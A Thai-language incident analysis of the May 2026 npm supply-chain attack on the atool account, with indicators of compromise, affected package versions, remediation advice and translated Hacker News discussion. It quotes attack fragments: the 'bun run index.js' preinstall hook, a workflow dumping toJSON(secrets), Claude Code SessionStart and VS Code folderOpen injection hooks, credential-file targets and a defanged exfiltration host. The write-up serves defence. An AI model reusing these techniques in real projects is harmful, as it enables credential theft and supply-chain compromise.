- บัญชี npm ของ atool ถูกเจาะเมื่อวันที่ 19 พฤษภาคม 2026 ทำให้มีการปล่อยเวอร์ชันอันตราย 637 เวอร์ชันไปยัง 317 แพ็กเกจโดยอัตโนมัติภายในเวลาประมาณ 22 นาที
- เพย์โหลดเป็น สคริปต์ Bun แบบ obfuscate ขนาด 498KB และใช้โครงสร้างสแกนเนอร์กับ regex แบบเดียวกับ Mini Shai-Hulud ที่ถูกใช้ในการเจาะ SAP
- เป้าหมายการขโมยข้อมูลขยายไปถึง ข้อมูลรับรอง AWS, โทเค็น Kubernetes, Vault, GitHub PAT, โทเค็น npm, คีย์ SSH และความลับที่เก็บไว้ในเครื่อง
- ใน CI มันแลก GitHub Actions OIDC เป็นโทเค็น npm publish และอาศัย ลายเซ็น Sigstore กับการฉีด workflow อันตราย
- แนวทางรับมือคือตรวจสอบว่ามีการติดตั้งเวอร์ชันที่ถูกเจาะหรือไม่ เปลี่ยนข้อมูลรับรองทั้งหมดที่อาจถูกเข้าถึงได้ และใช้ lockfile·การ pin dependencies พร้อมการตรวจสอบก่อนติดตั้ง
ภาพรวมการโจมตี
atoolบัญชี npm (i@hust.cc) ถูกเจาะเมื่อวันที่ 19 พฤษภาคม 2026 และมีการปล่อยเวอร์ชันอันตราย 637 เวอร์ชันไปยัง 317 แพ็กเกจในช่วงเวลาประมาณ 22 นาที- บัญชีนี้ดูแลแพ็กเกจอยู่ 547 รายการ และผู้โจมตีได้ทำ version bump สองรอบกับมากกว่า 314 แพ็กเกจในนั้น
- แพ็กเกจที่ได้รับผลกระทบมี
size-sensor(ดาวน์โหลด 4.2 ล้านครั้งต่อเดือน),echarts-for-react(3.8 ล้าน),@antv/scale(2.2 ล้าน),timeago.js(1.15 ล้าน) และแพ็กเกจในสโคป@antvอีกจำนวนมาก - เพย์โหลดเป็นสคริปต์ Bun แบบ obfuscate ขนาด 498KB และใช้โครงสร้างสแกนเนอร์, regex สำหรับข้อมูลรับรอง และรูปแบบการ obfuscate แบบเดียวกับ Mini Shai-Hulud toolkit ที่ใช้ในการเจาะ SAP เมื่อ 3 สัปดาห์ก่อน
- ข้อมูลที่ขโมยได้ถูก commit เป็น Git object ไปยังที่เก็บ GitHub แบบสาธารณะ หรือส่งผ่าน HTTPS POST ที่เข้ารหัสด้วย RSA+AES ไปยัง
t.m-kosche[.]com
วิธีการปล่อยแพ็กเกจและความเสี่ยงของ semver
- ระลอกแรกปล่อยประมาณ 317 เวอร์ชันในช่วง 01:39~01:56 UTC ของวันที่ 19 พฤษภาคม 2026 และระลอกที่สองทำ version bump เพิ่มอีกราว 314 เวอร์ชันกับแพ็กเกจชุดเดิมในช่วง 02:05~02:06 UTC
- แพ็กเกจส่วนใหญ่ 309 รายการได้รับเวอร์ชันอันตรายอย่างละ 2 เวอร์ชัน คือหนึ่งเวอร์ชันต่อหนึ่งระลอก
- แพ็กเกจ 4 รายการคือ
size-sensor,echarts-for-react,jest-canvas-mock,jest-date-mockได้รับ 3 เวอร์ชัน ซึ่งบ่งชี้ว่าน่าจะถูกใช้สำหรับการทดสอบเบื้องต้น - ผู้โจมตีไม่ได้ย้าย dist-tag
latestในแพ็กเกจส่วนใหญ่ แต่การตีความ semver ของ npm จะเลือกเวอร์ชันสูงสุดที่ตรงกับช่วงที่กำหนด โดยไม่ขึ้นกับlatest - ตัวอย่างเช่น แม้
latestของecharts-for-reactจะยังอยู่ที่3.0.6แต่โปรเจกต์ที่ระบุ"echarts-for-react": "^3.0.6"อาจถูก resolve ไปยังเวอร์ชันอันตราย3.2.7ในการ clean install ครั้งถัดไป
เส้นทางการทำงานและเพย์โหลด
- ทุกเวอร์ชันที่ถูกดัดแปลงได้เพิ่ม version bump และ
"preinstall": "bun run index.js"ไว้ในpackage.json - จากเวอร์ชันอันตรายทั้งหมด 637 เวอร์ชัน มี 630 เวอร์ชันที่เพิ่ม
@antv/setup: github:antvis/G2#<commit-sha>ลงในoptionalDependenciesเพื่อดึงเพย์โหลดสำเนาที่สองมาใช้ - ฮุก
preinstallจะทำงานก่อนการติดตั้ง dependency และต้องอาศัยรันไทม์ Bun - แม้
preinstallจะถูกบล็อกหรือถูกข้ามไป สคริปต์prepareของ commit ปลอมบน GitHub ก็ยังคงเป็นเส้นทางรันครั้งที่สอง index.jsเป็น Bun bundle แบบ obfuscate ขนาด 498KB แบบบรรทัดเดียว และมีข้อกำหนด Bun, การ obfuscate แบบตัวแปร hex, โครงสร้างสแกนเนอร์ที่มี flush threshold 100KB และชุด regex สำหรับข้อมูลรับรองแบบเดียวกับ Mini Shai-Hulud payload ที่ใช้ในการเจาะ SAP- การตรวจจับสภาพแวดล้อม CI จะเช็กตัวแปรสภาพแวดล้อมของมากกว่า 20 แพลตฟอร์ม เช่น GitHub Actions, Jenkins, GitLab CI, CircleCI, Travis, Buildkite, Drone, TeamCity, AppVeyor, Bitbucket Pipelines, CodeBuild, Azure DevOps, Netlify และ Vercel
เป้าหมายการเก็บข้อมูลรับรอง
- เพย์โหลดอ่านตัวแปรสภาพแวดล้อมที่มีชื่อถูกเข้ารหัสมากกว่า 80 รายการ และสแกนเนื้อหาไฟล์ด้วย regex
- เป้าหมายหลักได้แก่ GitHub token, npm token, GitHub Actions JWT, AWS key, Azure key, DB connection string, Stripe key, SSH key, Docker auth, Vault token, Kubernetes token และ credential ที่ฝังอยู่ใน URL
- ตัวสแกนไฟล์จะอ่านตำแหน่งเก็บข้อมูลรับรองมาตรฐานในโฮมไดเรกทอรี เช่น
.ssh,.aws/credentials,.npmrc,.docker/config.json,.kube/config - มันไล่ตามลำดับการ resolve AWS credential ทั้งหมด และดึง IAM role credential จาก EC2 IMDSv2 กับ ECS container credential endpoint รวมถึงพยายามเข้าถึง AWS STS
GetCallerIdentityและ Secrets Manager - สำหรับ Vault จะตรวจสอบไฟล์ token และค่า
VAULT_ADDR,VAULT_TOKEN,VAULT_ROLEเป็นต้น และหากมี credential ที่ใช้ได้ก็จะพยายาม enumerate secret และทำ AWS·Kubernetes authentication - สำหรับ Kubernetes จะตรวจสอบ service account token และ
KUBECONFIGและหากมี Docker socket ก็จะพยายาม enumerate คอนเทนเนอร์บนโฮสต์และทำ container escape
C2 และการขโมยข้อมูลออก
- GitHub API ถูกใช้เสมือนเป็น C2 โดยใช้
GET /userเพื่อตรวจสอบ GitHub token ที่ขโมยมา และใช้GET /user/orgsเพื่อ enumerate องค์กร - โทเค็นที่มีสิทธิ์
repoหรือpublic_repoเพียงพอ จะถูกใช้เพื่อสร้างที่เก็บสำหรับขโมยข้อมูลของผู้โจมตี - คำอธิบายของที่เก็บที่สร้างขึ้นเก็บเป็นสตริงย้อนกลับ
niagA oG eW ereH :duluH-iahSซึ่งเมื่อกลับลำแล้วจะได้ “Shai-Hulud: Here We Go Again” - ชื่อที่เก็บจะใช้คำธีม Dune 2 คำร่วมกับตัวเลข เช่น
harkonnen-melange-742,fremen-sandworm-315,gesserit-navigator-508 - ข้อมูลที่ขโมยออกจะถูกบันทึกผ่าน Git Data API ตามลำดับ blob, tree, commit, ref update
- ตัวส่ง HTTPS แยกต่างหากถูกทำให้ดูเหมือน OpenTelemetry OTLP trace ingestion endpoint ที่
hxxps://t.m-kosche[.]com/api/public/otel/v1/traces - เพย์โหลด HTTPS จะเข้ารหัส gzip JSON ด้วย AES-256-GCM และ wrap คีย์ AES ด้วย RSA-OAEP โดยใช้ public key ที่ฝังไว้ตายตัว
การโจมตี CI/CD และสายโซ่ความเชื่อถือ
- จากที่เก็บ GitHub ที่โทเค็นที่ขโมยมาสามารถเข้าถึงได้ มันจะรวบรวมประวัติการรัน workflow, artifact, ชื่อ secret, รายการ branch และการตั้งค่า Claude Code
- แม้จะเข้าถึงค่า secret ผ่าน GitHub API โดยตรงไม่ได้ แต่ชื่อ secret ก็เผยให้เห็นว่ามีข้อมูลรับรองใดอยู่บ้าง
- workflow อันตรายจะถูกฉีดเข้าไปใน
.github/workflows/codeql.ymlโดยใช้ชื่อRun Copilotและถูกทริกเกอร์เมื่อpush - workflow จะใส่ repository secrets ทั้งหมดลงในตัวแปรสภาพแวดล้อมแบบ JSON ด้วย
VARIABLE_STORE: ${{ toJSON(secrets) }}บันทึกเป็นformat-results.txtแล้วอัปโหลดเป็น artifact - หลังจากทำเสร็จ มันจะดาวน์โหลดไฟล์ zip ของ artifact และลดร่องรอยการฉีดด้วยการลบ workflow run และรีเซ็ต branch ref
- ใน CI ที่มี GitHub Actions OIDC มันจะพยายามแลกเป็น npm publish token ผ่าน endpoint
https://registry.npmjs.org/-/npm/…; - เพย์โหลดยังมี implementation สำหรับการลงนาม Sigstore ที่รวมรูปแบบ Fulcio, Rekor และ SLSA provenance ไว้ด้วย ทำให้สามารถสร้าง artifact ที่ลงนามด้วย CI identity ที่ถูกเจาะได้
การติดเชื้อในสภาพแวดล้อมการพัฒนาและเอเจนต์เขียนโค้ด AI
- เพย์โหลดมุ่งเป้าไปที่สภาพแวดล้อม Claude Code, Codex และ VS Code ผ่านการฉีดจากระยะไกลด้วย GitHub API และการติดเชื้อในเครื่องผ่านการเขียนลงไฟล์ซิสเต็ม
- ใช้โทเคนที่ขโมยมาเพื่อคอมมิต
.vscode/tasks.json,.claude/index.js,.claude/settings.json,.claude/setup.mjs,.vscode/setup.mjsไปยังรีโพซิทอรีที่เข้าถึงได้ .claude/settings.jsonลงทะเบียนฮุกSessionStartเพื่อรันnode .claude/setup.mjsทุกครั้งที่เริ่มเซสชัน Claude Code.vscode/tasks.jsonใช้"runOn": "folderOpen"เพื่อทริกเกอร์การทำงานเมื่อมีการเปิดโฟลเดอร์โปรเจกต์setup.mjsดาวน์โหลด Bun v1.3.14 จากรีลีสทางการของ GitHub จากนั้นแตกไฟล์ไบนารีและรันเพย์โหลด- เส้นทางการติดเชื้อในเครื่องจะคัดลอกเพย์โหลดไปยัง
~/.claude/package/index.jsและ~/.codex/package/index.jsแล้วสแกนไฟล์ตั้งค่าโปรเจกต์เดิมเพื่อฉีดฮุก - บน Mac ที่ใช้ Apple Silicon จะข้ามเส้นทางการติดเชื้อในเครื่องนี้ ส่วน Linux, Intel Mac และ Windows จะถูกรัน
ความคงอยู่และ GitHub dead-drop C2
- เดมอนที่ทำงานต่อเนื่องซึ่งปลอมตัวเป็น
kitty-monitorจะถูกติดตั้งเป็นบริการผู้ใช้ systemd บน Linux และเป็น~/Library/LaunchAgents/com.user.kitty-monitor.plistบน macOS - ตัวติดตั้งใช้
systemctl --user enable --nowและloginctl enable-lingerเพื่อให้ยังคงอยู่แม้หลังออกจากระบบ - เดมอน
cat.pyจะโพล GitHub Search API ทุก 1 ชั่วโมง และค้นหาคอมมิตที่มีคีย์เวิร์ดfiredalazer - รูปแบบข้อความคอมมิตคือ
firedalazer <base64_url>.<base64_signature>และจะตรวจสอบลายเซ็น RSA-PSS ด้วยกุญแจสาธารณะ RSA ขนาด 4096 บิตที่ฮาร์ดโค้ดไว้ ก่อนรันโค้ด Python จาก URL - เดมอน
gh-token-monitorอีกตัวหนึ่งจะโพลโทเคน GitHub ที่ขโมยมาในช่วงทุก 60 วินาที โดยมี TTL 24 ชั่วโมง - ตัวสแกนหน่วยความจำของโปรเซสจะดัมพ์พื้นที่หน่วยความจำที่อ่านได้ของโปรเซส worker ของ GitHub Actions runner โดยใช้
/proc/pid/maps+memบน Linux และReadProcessMemoryบน Windows
คอมมิตปลอมเป็น antvis/G2
- เวอร์ชันอันตราย 630 จาก 637 เวอร์ชันมีรายการ
optionalDependenciesที่ชี้ไปยังคอมมิตเฉพาะในรีโพซิทอรีantvis/G2{ "optionalDependencies": { "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569" } } - เมื่อ npm แก้ความหมาย dependency แบบ
github:ก็จะดึงคอมมิตดังกล่าวมา ค้นหาpackage.jsonแล้วรัน lifecycle script - ในคอมมิตนั้นมี
package.jsonที่ประกาศ@antv/setupและมีสคริปต์prepareรวมถึงindex.jsขนาด 499KB ที่ออบฟัสเคตเพย์โหลด Shai-Hulud เดิมซ้ำอีกครั้ง && exit 1ในสคริปต์prepareทำให้ optional dependency ล้มเหลว แต่ npm ไม่ถือว่าความล้มเหลวของ optional dependency เป็นข้อผิดพลาดร้ายแรง จึงติดตั้งต่อไปได้- Git API แสดงคอมมิต SHA ที่แตกต่างกัน 3 ค่า ซึ่งถูกพุชไปยัง
antvis/G2และทั้งหมดไม่ได้ผูกอยู่กับบรันช์ใด - คอมมิตทั้งสามมีเมทาดาทาเหมือนกันคือ author
huiyu.zjt <Alexzjt@users.noreply.github.com>, commit messageNew Package, ไม่มี parent และไม่มีลายเซ็น GPG - ผู้โจมตีสามารถสร้าง payload orphan commit ใน fork โดยไม่ต้องมีสิทธิ์เขียนใน
antvis/G2แล้วลบ fork ทิ้ง เพื่อให้ยังเหลือคอมมิตที่ดึงด้วย SHA ได้ภายใต้เนมสเปซของรีโพซิทอรีต้นทาง - วิธีนี้เป็นปัญหาคอมมิตปลอมใน GitHub Actions ประเภทเดียวกับที่ Chainguard ได้บันทึกไว้ และในที่นี้ถูกนำมาใช้กับการแก้ dependency แบบ
github:ของ npm
ตัวบ่งชี้การถูกเจาะ
- แพ็กเกจที่เผยแพร่โดย
atool(i@hust.cc) ระหว่าง 2026-05-19 01:44~02:06 UTC เป็นเป้าหมายที่ต้องตรวจสอบ - สคริปต์
preinstallคือbun run index.js - SHA256 ของเพย์โหลดคือ
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c - คอมมิตปลอม
antvis/G2มีดังนี้1916faa365f2788b6e193514872d51a242876569— 626 เวอร์ชัน7cb42f57561c321ecb09b4552802ae0ac55b3a7a— 2 เวอร์ชันdc3d62a2181beb9f326952a2d212900c94f2e13d— 1 เวอร์ชัน, ถูก garbage collected
- Network IoC มี
hxxps://t.m-kosche[.]com/api/public/otel/v1/traces, EC2 metadata ที่169.254.169.254และคำขอ ECS container metadata ที่169.254.170.2 - Repository IoC มีบรันช์
chore/add-codeql-static-analysis, workflowRun Copilotและ.github/workflows/codeql.ymlที่ดัมพ์toJSON(secrets)ไปยังformat-results.txt - Development environment IoC มีฮุก
SessionStartใน.claude/settings.json,"runOn": "folderOpen"ใน.vscode/tasks.json,.claude/setup.mjs,.vscode/setup.mjs - Persistence IoC มี
kitty-monitor.service,com.user.kitty-monitor.plist,~/.local/bin/gh-token-monitor.sh,~/.local/share/kitty/cat.py,/var/tmp/.gh_update_state
แพ็กเกจตัวอย่างที่ควรตรวจสอบ
- ตาราง
compromised-packages.csvมี 2 คอลัมน์คือ Package และ Compromised Versions และตามตารางแสดงแพ็กเกจ 317 รายการ - ควรตรวจสอบใน lockfile ว่ามีแพ็กเกจดังกล่าวและมีเวอร์ชันอันตรายที่เผยแพร่ใน 2026-05-19 หรือไม่
- แพ็กเกจ
@antvตัวอย่างและเวอร์ชันอันตราย@antv/g2:5.5.8,5.6.8@antv/g6:5.2.1,5.3.1@antv/g:6.4.1,6.5.1@antv/l7:2.26.10,2.27.10@antv/x6:3.2.7,3.3.7@antv/s2:2.8.1,2.9.1@antv/f2:5.15.0,5.16.0
- แพ็กเกจ npm ทั่วไปและเวอร์ชันอันตราย
echarts-for-react:3.0.7,3.1.7,3.2.7size-sensor:1.0.4,1.1.4,1.2.4jest-canvas-mock:2.5.3,2.6.3,2.7.3jest-date-mock:1.0.11,1.1.11,1.2.11timeago.js:4.1.2,4.2.2timeago-react:3.1.7,3.2.7@lint-md/cli:2.1.0,2.2.0@lint-md/core:2.1.0,2.2.0@lint-md/parser:0.1.14,0.2.14
การตอบสนองและการป้องกัน
- หากมีการติดตั้งเวอร์ชันที่ถูกเจาะ ควรหมุนเปลี่ยน npm token, GitHub PAT, AWS key, SSH key, ข้อมูลรับรองคลาวด์, รหัสผ่านฐานข้อมูล, Vault token, Kubernetes service account token และค่าความลับในตัวจัดการรหัสผ่านภายในเครื่อง ที่เข้าถึงได้จากสภาพแวดล้อมการบิลด์
- ควรบล็อก
t.m-kosche[.]comทั้งในระดับเครือข่ายและ DNS - ควรตรวจสอบว่ามีการสร้าง public repository ที่ไม่ได้รับอนุญาตภายใต้บัญชี GitHub ที่มี token ซึ่งเข้าถึงได้จากสภาพแวดล้อมการบิลด์หรือไม่
- ควรตรวจสอบการ publish แพ็กเกจที่ไม่ได้รับอนุญาตและบันทึกการแลกเปลี่ยน npm OIDC token ใน CI pipeline
- ควรตรวจสอบ Sigstore transparency log ว่ามี signed artifact ที่สร้างขึ้นด้วย CI identity ที่ถูกเจาะหรือไม่
- ควรตรวจสอบ
.claude/settings.jsonhook, งานรันอัตโนมัติใน.vscode/tasks.json,.claude/setup.mjsและ.vscode/setup.mjsในโปรเจกต์ Node.js ภายในเครื่อง - ควรถอด
kitty-monitorsystemd user service และcom.user.kitty-monitorLaunchAgent ออก และตรวจสอบการมีอยู่ของ~/.local/share/kitty/cat.py,/var/tmp/.gh_update_state,~/.local/bin/gh-token-monitor.sh - ควร pin dependency หรือใช้ lockfile เพื่อไม่ให้การตีความช่วง semver นำไปสู่เวอร์ชันอันตราย
- ควรตรวจสอบการเปิดเผย Docker socket และการเข้าถึง EC2 metadata ใน CI/CD pipeline และพิจารณาจำกัด hop limit ของ IMDSv2
- Package Manager Guard (pmg) เป็น open-source install proxy ที่ตรวจสอบแพ็กเกจกับ threat intelligence ก่อนรัน
preinstall - dependency cooldown สามารถปฏิเสธเวอร์ชันที่เผยแพร่ภายในช่วงเวลาที่กำหนดได้ ช่วยลดคลื่นการเผยแพร่ฉับพลันที่ทำให้ช่วง semver ถูกตีความเป็นรีลีสอันตรายตัวใหม่
- vet สามารถตรวจจับการอัปเดตแพ็กเกจที่ผิดปกติ เช่น
preinstallhook ที่ไม่คาดคิด ขนาดที่เพิ่มขึ้นอย่างรวดเร็ว หรือการเปลี่ยน maintainer ก่อนที่จะไปถึง CI/CD pipeline - ขอบเขตผลกระทบที่ครอบคลุม 547 แพ็กเกจภายใต้บัญชีเดียว และมากกว่า 314 แพ็กเกจที่ถูกทำให้เป็นอาวุธในเซสชันเดียว เผยให้เห็นจุดอ่อนเชิงโครงสร้างของโมเดลความเชื่อถือของ npm
เอกสารอ้างอิง
- Shai-Hulud Goes Open Source: Static Analysis of the Framework — Datadog Security Labs
- The Shai-Hulud Code Drop — ReversingLabs
1 ความคิดเห็น
ความคิดเห็นจาก Hacker News
ตอนนี้ควรปิดใช้งาน สคริปต์ lifecycle ของ NPM เป็นค่าเริ่มต้น
มันเท่ากับฝังการรันโค้ดตามอำเภอใจไว้ในนามของความสะดวก และยังมีผลกับทรานซิทีฟดีเพนเดนซีด้วย การโจมตีแบบเวิร์มของ NPM ที่แพร่กระจายเป็นวงกว้างทั้งหมดก็แพร่ผ่านค่าตั้งต้นนี้เอง ไม่ควรให้การเปิดใช้ครั้งเดียวสำหรับคำสั่งใดคำสั่งหนึ่งทำให้ทรานซิทีฟดีเพนเดนซีทั้งหมดสามารถรันสคริปต์ lifecycle ได้ แต่ควรบังคับให้ระบุอย่างชัดเจนทีละดีเพนเดนซีที่จำเป็นจริง ๆ
แพ็กเกจ NPM ส่วนใหญ่อย่างท่วมท้นไม่ได้พึ่งสคริปต์พวกนี้ ดังนั้นถ้ายังไม่ได้ทำ ก็ควรปิดมันแบบ global ไว้
อย่างไรก็ตาม แพ็กเกจก็ยังสามารถรันขยะอะไรก็ได้ที่มันต้องการตอนถูก import ครั้งแรกจากโปรแกรม
คำว่า “ไม่มีทางป้องกันได้” จะหลุดออกมาจากตัวจัดการแพ็กเกจเพียงตัวเดียวที่เรื่องแบบนี้เกิดขึ้นเป็นประจำเท่านั้น
ถึงจุดหนึ่งแล้ว การปิด Dependabot และตรึงเวอร์ชันแพ็กเกจ NPM ทั้งหมดไว้แม้แต่ระดับ minor/patch อาจดีกว่าการอัปเดตต่อเนื่องหรือเปล่า
โดยเฉพาะกับแพ็กเกจฝั่งฟรอนต์เอนด์ ทุกวันนี้เหมือนการแก้ความปลอดภัยที่มีความหมายจะพบได้น้อยกว่าการโจมตีห่วงโซ่อุปทานเสียอีก
มันเป็นสถานการณ์ที่น่าเศร้า แต่ถ้าเปลี่ยนฟรอนต์เอนด์ให้เป็น BOM แบบคงที่ แล้วเชื่อว่าอย่างน้อย NPM จะรักษาข้อจำกัดเรื่อง “ห้ามเผยแพร่เวอร์ชันเดิมซ้ำอีก” ได้ ก็น่าจะไม่มีเหตุผลอะไรไม่ใช่หรือ?
อาจยกเว้นให้กับเวอร์ชันที่ใช้แก้ CVE ที่ทราบอยู่แล้วได้
สถานการณ์กำลังบ้าคลั่งขึ้นเรื่อย ๆ ส่วนตัวผมลบ node, python, และตัวจัดการแพ็กเกจทั้งหมด ออกจากเครื่องไปแล้ว และใช้เฉพาะใน devcontainer หรือ VM เท่านั้น
ถึงแม้ชุมชนนักพัฒนาจะสร้างการป้องกันที่แข็งแรงขึ้นได้จริง ผมก็ยังกังวลว่าอีกสักปีหนึ่ง ความสามารถด้าน social engineering ของโมเดลอาจเก่งพอจนเรายังอยู่ในเกมที่แพ้อยู่ดี
ตัวอย่างเช่น การแฮ็ก XZ ใช้ความพยายามมหาศาล และเร่งไม่ได้เพราะมันอาศัยการค่อย ๆ บั่นทอนผู้ดูแลเดิมตามกาลเวลา ต่อให้คุณสร้างและส่งข้อความอันตรายที่จำเป็นได้ในไม่กี่วินาที ความเร็วของมนุษย์ที่ต้องอ่านมันก็ไม่ได้เพิ่มขึ้น และถ้ามาพร้อมกันหมดก็ยิ่งชวนให้สงสัย
อีกทั้งยังมีขีดจำกัดว่าข้อมูลนำเข้าจะโน้มน้าวใจได้มากแค่ไหน คุณอาจหยิบข้อความอันตรายแบบสุ่มที่ส่งถึงผู้ดูแล XZ มาสักอันแล้วทำให้มันร้ายกาจขึ้น แม่นยำขึ้น และสะท้อนจุดอ่อนส่วนตัวกับความกลัวของผู้ดูแลได้ดีกว่าเดิม แต่โดยรวมมันจะได้ผลกว่ามากไหม? ผมว่าไม่น่า หรืออย่างมากก็แค่นิดหน่อย
ตอนนี้ Zed ออก 1.0 แล้ว ผมอยากย้ายไปใช้เต็มตัว แต่เท่าที่รู้ โมเดลความปลอดภัยของมันมีแค่ทั้งหมดหรือไม่เอาเลย คุณต้องยอมให้มันดาวน์โหลดและติดตั้ง แพ็กเกจ NPM ที่คุณไม่รู้จักได้ตามใจ หรือไม่ก็ต้องปิดฟังก์ชัน LSP ทั้งหมด
แล้วข่าวแบบนี้ก็ยังโผล่มาเรื่อย ๆ
npm น่าจะทำระบบที่หน่วงการอัปโหลดแพ็กเกจอัตโนมัติราว 10 นาที แล้วกระจายมันไประบบนิเวศของ บริษัทตรวจสอบโค้ด ฝั่งที่สามเพื่อตรวจอัตโนมัติในช่วงเวลานั้นได้ไหม
อาจมีตารางอันดับสาธารณะว่าใครตรวจเจอปัญหาได้เร็วและแม่นที่สุด หรือให้รางวัลเป็นเงินก็ได้
รายการนี้ยังไม่ครบ อย่างน้อยก็มีอีกหนึ่งแพ็กเกจคือ ส่วนขยาย nx-console สำหรับ VS Code ที่ติดเวิร์มนี้เมื่อวาน และมียอดดาวน์โหลด 2.2 ล้านครั้ง
ถ้ามีใครที่เกี่ยวข้องและมีเครือข่ายได้อ่านอยู่ ก็น่าจะคุ้มที่จะไล่ตามสายโซ่ดีเพนเดนซีของมันด้วยเพื่อดูว่ายังมีอีกไหม อ้างอิงอยู่ที่นี่:
https://github.com/nrwl/nx-console/security/advisories/GHSA-...
PS: ผมโพสต์เรื่องนี้บน HN เพื่อเตือนคนทันทีหลังการติดเชื้อ แต่เสียดายที่แทบไม่ได้โหวตเลย
ถ้ามองทั้งระบบนิเวศ TC39 ควรพิจารณาเพิ่ม ไลบรารีมาตรฐาน ที่ดีกว่านี้ให้กับ JS เอง เพื่อจะได้ลดจำนวนแพ็กเกจแบบหนึ่งบรรทัดลง
เห็นด้วย ตอนที่เคยทำงานกับ Deno สิ่งที่ดีที่สุดอย่างหนึ่งคือไลบรารีมาตรฐาน[0] และสภาพแวดล้อมการพัฒนาที่ค่อนข้างครบในตัว การที่ runtime มีตัวรันทดสอบแบบรวมและไลบรารียืนยันผลมาให้เลยนั้นเป็นเรื่องที่สมเหตุสมผลมาก
0 - https://docs.deno.com/runtime/reference/std/
node:test[0] และnode:assert/strict[1] ให้มาเป็นค่ามาตรฐานมาหลายรุ่น LTS แล้วnode --testใช้แทน Mocha ได้ค่อนข้างง่าย และnode:assert/strictก็ใช้ได้ดี แม้บางครั้งchaiจะสะดวกกว่าเพราะเรื่อง ergonomics แบบexpectDeno ใน @std มีไลบรารียืนยันผลสไตล์expectอยู่ปัญหาคือระบบนิเวศของ Node มีตัวรันทดสอบมากเกินไป และหลายตัวก็แทนที่ได้ไม่ง่ายเหมือน Mocha ดังนั้นการย้ายไปใช้ test harness และ assertion library ที่มีมาให้ในตัวจึงน่าจะช้าแบบเจ็บปวดเป็นธรรมดา ผู้คนชอบความซับซ้อนเกินจำเป็นของ Jest และ Vitest ด้วยเหตุผลหลายอย่าง บริษัทใหญ่ ๆ ก็เคยคิดว่า Karma เป็นความคิดที่ดี ผมยังไม่เข้าใจจนทุกวันนี้ว่าทำไมนักพัฒนาถึงไม่ได้รังเกียจแนวคิดประมาณว่า “ชอบ V8 สำหรับ unit test ใช่ไหม งั้นเราจะเปิด V8 อีกสำเนาหนึ่งซ้อนเข้าไปในสภาพแวดล้อม V8 ที่มีอยู่แล้วให้นะ” มากกว่านี้
[0] https://nodejs.org/api/test.html
[1] https://nodejs.org/api/assert.html#strict-assertion-mode
มีไลบรารีมาตรฐานของภาษาไหนบ้างที่มีตัวแปลงข้อความแบบ “3 ชั่วโมงก่อน” นั่นคือสิ่งที่ timeago.js ทำ
ส่วน slice.js ก็แค่เพิ่ม negative indexing แบบ Python เท่านั้น TC39 ก็ทำให้ array.at() และ array.slice() รองรับค่าติดลบไปแล้ว
https://nodejs.org/api/
มีรายงานว่าเพย์โหลดจะตรวจหา Docker socket และถ้ามีอยู่ก็จะพยายาม escape ออกจากคอนเทนเนอร์ ด้วย 3 วิธีแบบลำดับขั้น
ดังนั้นต่อให้รันใน devcontainer หรือ VM เวิร์มแบบนี้ก็กำลังพยายามหนีออกมาอยู่แล้ว
ควรตรวจให้แน่ใจว่าใช้ rootless VM engine เช่น podman แทน Docker
มันทำให้ผมนึกถึงสมัยก่อนที่คนแจกบัญชี Linux สิทธิ์ต่ำแล้วเชื่อว่าเคอร์เนลจะป้องกันการยกระดับสิทธิ์ให้ได้ Docker ก็แทบจะเป็นเรื่องเดียวกันเป๊ะ ๆ แค่เพิ่มขั้นตอนเข้าไป โดยเฉพาะทุกวันนี้ที่ช่องโหว่ยกระดับสิทธิ์เฉพาะที่ของเคอร์เนลใหม่ ๆ ออกมาราวกับทุก 5 นาที
Podman ดีกว่านิดหน่อยตรงที่ไม่ได้ส่ง root ให้ผู้โจมตี แต่ตั้งแต่แรกจะให้บัญชีไปทำไม? ใช้ VM จริง ๆ ไปเลยดีกว่า
บน Linux มี sandbox แบบครอบคลุมอย่างที่ BSD มีไหม?
ตอนนี้ผมอยากลงจาก Mr Bones' Wild Ride แล้ว แต่ก็กลัวว่าเรื่องแบบนี้จะยังเกิดขึ้นต่อไป จากที่ผมดูมา กลยุทธ์การตรวจจับเชิงพาณิชย์จำนวนมากโฟกัสที่ตอนโหลดหรือใช้งานแพ็กเกจ โดยปรับระดับตาม repository/อุปกรณ์/นักพัฒนา
มันดูคล้ายกับวิธีที่เรารับมืออีเมลสแปมหรือมัลแวร์ทั่วไป เพราะฉะนั้นจึงแทบจะมีเป้าหมายที่คุ้มให้ผู้ไม่หวังดีพยายามอยู่เสมอ แต่ต่างจากอีเมล ตัวจัดการแพ็กเกจมีผู้มีอำนาจรวมศูนย์ และปัญหาที่อยู่นอกขอบเขตก็มักจะถูกผลักให้เป็นความรับผิดชอบของนักพัฒนาโดยปริยาย
ในฐานะคนนอกที่รู้น้อย ผมสงสัยว่าเราอาจต้องถอยออกจากวัฒนธรรมการออกรีลีสเร็วและการจัดการเวอร์ชันแบบหลวม ๆ แล้วหันไปเน้นเวอร์ชันที่เสถียรและผ่านการตรวจอย่างลึกซึ้งในรีจิสทรีแทน ด้วยผลของปริมาณและสเกล ผมอาจคิดผิดก็ได้ แต่การที่ภาษาที่เปลี่ยนแปลงมากได้รับผลกระทบบ่อยกว่าก็ยังเป็นสัญญาณที่น่าสนใจ
ถ้ามีบทความที่ครอบคลุมภูมิทัศน์ปัจจุบันแบบครบถ้วนก็คงดีมาก
ชื่อรถไฟเหาะในหนังเรื่องนั้นคือ Mr Bonestripper: https://www.youtube.com/watch?v=NEZEgd8GjJc
จริง ๆ แล้วมันมาจาก Roller Coaster Tycoon 2: https://knowyourmeme.com/memes/mr-bones-wild-ride
ถ้าเทียบกับสแปม เราก็เหมือนจะลงเอยด้วยการปล่อยให้อีเมลแอดเดรสถูกดูดไปจากแทบทุกสภาพแวดล้อมเครือข่ายคอมพิวเตอร์เชิงพาณิชย์และสังคม และทำให้ผู้คนยอมรับสแปมพร้อมเคลือบมันด้วยความชอบธรรมบางอย่าง ในพื้นที่นี้ก็น่าจะเกิดสิ่งคล้ายกันได้มาก อาจออกมาในรูปซอฟต์แวร์แบบเอเจนต์ตรวจสอบไลเซนส์ Oracle ผสมกับการจัดการดีเพนเดนซีอัตโนมัติ คือ “แก้” มัลแวร์ห่วงโซ่อุปทานด้วยการใส่มัลแวร์อีกชนิดลงใน allowlist